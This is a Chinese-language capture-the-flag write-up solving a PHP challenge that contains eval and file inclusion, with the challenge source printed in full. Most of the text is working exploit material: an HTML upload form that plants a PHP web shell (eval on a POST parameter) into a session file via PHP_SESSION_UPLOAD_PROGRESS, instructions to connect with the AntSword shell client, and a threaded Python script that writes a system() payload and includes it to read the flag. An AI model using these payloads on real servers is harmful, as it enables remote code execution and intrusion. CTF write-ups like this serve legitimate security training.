打开后看到源码:
<?php
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = $_GET['shell'] ?? 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}
if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}
function filter($var): bool{
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}
return False;
}
function checkNums($var): bool{
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>
这道题很明显存在eval,可以导致rce,但是通过filter和checkNums这两个函数的过滤很难达到(几乎不可能)rce的目的,又把目光转向这个file,这里存在文件包含的漏洞,但在这里要包含哪个恶意文件呢?没有恶意文件?
很自然我们想到了利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含。
查看phpinfo中的设置
这里的session.use_strict_mode=0,
session.upload_process.cleanup为off,不需要进行条件竞争。且没有session.save_path,默认就是/tmp/sess_xxxx.
利用上传文件的代码:
<!DOCTYPE html>
<html>
<head>
<title>hakaiisu</title>
<meta charset="utf-8">
</head>
<body>
<form action="http://challenge-41a945986720d0e4.sandbox.ctfhub.com:10800/" method="POST" enctype="multipart/form-data"><!--
不对字符编码-->
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php eval($_POST['cmd']); ?>" />
<input type="file" name="file" />
<input type="submit" value="go" />
</form>
</body>
</html>
直接上传
注意添加Cookie的字段内容
蚁剑直接连接
http://challenge-41a945986720d0e4.sandbox.ctfhub.com:10800/?file=/tmp/sess_7t0
还有一种方法就是直接利用网上大佬的脚本:
# -*- coding: utf-8 -*-
import io
import requests
import threading
myurl = 'http://114.115.134.72:32770/index.php'
sessid = '7t0'
myfile = io.BytesIO(b'hakaiisu' * 1024)
writedata = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls -lha /');?>"}
mycookie = {'PHPSESSID': sessid}
def writeshell(session):
while True:
resp = requests.post(url=myurl, data=writedata, files={'file': ('hakaiisu.txt', 123)}, cookies=mycookie)
def getshell(session):
while True:
payload_url = myurl + '?file=' + '/tmp/sess_' +sessid
resp = requests.get(url=payload_url)
if 'upload_progress' in resp.text:
print(resp.text)
break
else:
pass
if __name__ == '__main__':
session = requests.session()
writeshell = threading.Thread(target=writeshell, args=(session,))
writeshell.daemon = True
writeshell.start()
getshell(session)
发现flag,直接修改第九行(最好把sessid也修改一下)
cat /flag_is_here_not_are_but_you_find
也拿到flag